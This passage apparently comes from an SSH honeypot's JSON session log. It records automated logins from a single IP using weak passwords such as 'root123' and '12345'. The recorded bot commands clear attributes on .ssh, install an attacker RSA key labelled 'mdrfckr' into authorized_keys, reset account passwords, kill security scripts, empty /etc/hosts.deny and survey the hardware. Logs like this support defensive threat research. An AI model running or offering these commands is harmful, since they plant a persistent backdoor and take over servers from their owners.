pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:37:49.841619+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:37:50.675293+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:37:51.004824+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:37:52.323339+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:37:52.654593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:37:53.603072+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:37:53.931618+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:37:54.330465+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:37:54.660933+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:54.941915+00:00","kind":"output","latency_ms":null,"data":" 11:37:54 up 7 days, 8:28, 0 user, load average: 0.14, 0.16, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:55.272596+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:56.089969+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:56.420107+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:37:57.044596+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:57.381382+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:57.897323+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:57 up 7 days, 8:28, 0 user, load average: 0.14, 0.16, 0.08\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:58.225615+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:58.897870+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:59.226765+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:59.816441+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:38:00.143865+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:38:00.553117+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:38:00.883805+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:38:01.953808+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:38:02.282948+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:38:04.451249+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Sz123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"30bd727b-c2f6-4a58-b232-e3b74bfed317","name":"frank-prairie-onager","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41486,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:37:47.599999+00:00","ended_at":"2026-08-27T11:37:48.448226+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6292ff9a-9eca-44b2-a577-29397a8e49ad","name":"loyal-tender-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41476,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:37:44.962057+00:00","ended_at":"2026-08-27T11:37:46.659718+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cbd5b6dc-9f75-425d-995c-e3c96f367da3","name":"thorny-humble-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":58122,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:35:53.031371+00:00","ended_at":"2026-08-27T11:35:54.476890+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2078,"events":[{"seq":1,"at":"2026-08-27T11:35:34.978652+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:35:35.306396+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:35:39.808395+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:35:40.070104+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:35:40.398267+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\ni4SyJSwTJM8r\\ni4SyJSwTJM8r\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:35:40.725968+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\ni4SyJSwTJM8r\\ni4SyJSwTJM8r\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:35:41.051616+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:35:41.889138+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:35:42.217457+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:35:43.477939+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:35:43.809941+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:35:44.571268+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:35:44.900743+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:35:45.373513+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:35:45.702661+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:35:46.170884+00:00","kind":"output","latency_ms":null,"data":" 11:35:46 up 7 days, 8:25, 0 user, load average: 0.06, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:35:46.502039+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:35:47.087570+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:35:47.419268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:35:48.049143+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:35:48.379653+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:35:48.643442+00:00","kind":"output","latency_ms":null,"data":"top - 11:35:48 up 7 days, 8:25, 0 user, load average: 0.06, 0.05, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:35:48.973890+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:35:49.354865+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:35:49.683097+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:35:50.280608+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:35:50.613466+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:35:51.207008+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T11:35:51.535370+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:35:52.707140+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:35:53.032301+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:35:54.379032+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"782746cf-f575-4776-b1d8-d75649b41f05","name":"drifting-tranquil-stoat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":58138,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:35:37.753414+00:00","ended_at":"2026-08-27T11:35:39.710735+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b09ccb2a-3af7-4298-95fb-7b961bf83b7e","name":"northern-lunar-dingo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":58126,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:35:36.053600+00:00","ended_at":"2026-08-27T11:35:37.099961+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ff093cec-f590-4c1c-bd7f-e90971facd80","name":"inland-tender-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55966,"username":"anu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":349,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:52.709062+00:00","ended_at":"2026-08-27T11:33:53.939195+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2057,"events":[{"seq":1,"at":"2026-08-27T11:33:40.271933+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:33:40.619651+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:43.413214+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:43.413580+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:43.758378+00:00","kind":"input","latency_ms":null,"data":"echo -e \"anu\\nq6PhCEC5PdcN\\nq6PhCEC5PdcN\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:33:44.104147+00:00","kind":"input","latency_ms":null,"data":"echo \"anu\\nq6PhCEC5PdcN\\nq6PhCEC5PdcN\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:33:44.449639+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:44.450134+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:33:44.801930+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:33:45.391546+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:33:45.741560+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:33:46.372623+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:33:46.736169+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:33:46.736956+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:33:47.091260+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:33:47.091903+00:00","kind":"output","latency_ms":null,"data":" 11:33:47 up 7 days, 8:23, 0 user, load average: 0.25, 0.19, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:33:47.435772+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:33:47.436807+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:33:47.787741+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:33:47.790280+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:33:48.145697+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:33:48.649275+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:48 up 7 days, 8:23, 0 user, load average: 0.25, 0.19, 0.17\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:33:48.994831+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:33:49.455538+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:33:49.805909+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:33:50.178084+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:33:50.525775+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:33:51.022861+00:00","kind":"output","latency_ms":null,"data":"anu"},{"seq":29,"at":"2026-08-27T11:33:51.371363+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:33:52.360718+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:33:52.709535+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:33:53.834456+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"anu","password":"anu","method":"password","accepted":true,"tier":"other"}]} {"id":"21802301-fd48-4d60-ba5c-a3abf5b01cc8","name":"wandering-proud-macaw","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":55984,"username":"anu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:33:42.702220+00:00","ended_at":"2026-08-27T11:33:43.309468+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"anu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"69a3a57b-700f-431a-b2fb-1db5513a8f1d","name":"fringed-knotted-tanager","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":55982,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:33:41.370695+00:00","ended_at":"2026-08-27T11:33:42.048089+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"030de59d-01f2-4271-a646-497462f59b23","name":"velvet-barren-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37188,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:59.093176+00:00","ended_at":"2026-08-27T11:31:59.758305+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2055,"events":[{"seq":1,"at":"2026-08-27T11:31:47.754179+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:31:48.080351+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:52.404719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:52.405028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:52.735708+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nSSRowKKgihrc\\nSSRowKKgihrc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:31:53.063855+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nSSRowKKgihrc\\nSSRowKKgihrc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:31:53.390732+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:53.392832+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:31:53.719620+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:31:54.305015+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:31:54.634716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:31:55.227720+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:55.558058+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:31:55.558537+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:31:55.888311+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:31:55.888786+00:00","kind":"output","latency_ms":null,"data":" 11:31:55 up 7 days, 8:22, 0 user, load average: 0.25, 0.18, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:31:56.222502+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:31:56.223693+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:56.565430+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:56.566037+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:56.894138+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:56.894647+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:56 up 7 days, 8:22, 0 user, load average: 0.25, 0.18, 0.17\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:57.224746+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:57.225739+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:57.553869+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:57.557683+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:57.884280+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:57.884791+00:00","kind":"output","latency_ms":null,"data":"deployer"},{"seq":29,"at":"2026-08-27T11:31:58.210528+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:58.765143+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:59.093865+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:59.661299+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deployer","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"88a7f256-05e4-4b85-bda5-ef959a57e958","name":"misty-granite-bluebird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":46952,"username":"deployer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:31:51.230817+00:00","ended_at":"2026-08-27T11:31:52.307879+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deployer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"60d732a3-7454-40c0-aab0-f64714cc3ace","name":"stoic-blazing-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37202,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:31:48.828844+00:00","ended_at":"2026-08-27T11:31:50.543061+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"75e0d1c1-2119-4298-b11c-7305bd833462","name":"barren-western-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55158,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":350,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:29:53.805813+00:00","ended_at":"2026-08-27T11:29:54.454812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T11:29:41.348072+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:29:41.692605+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 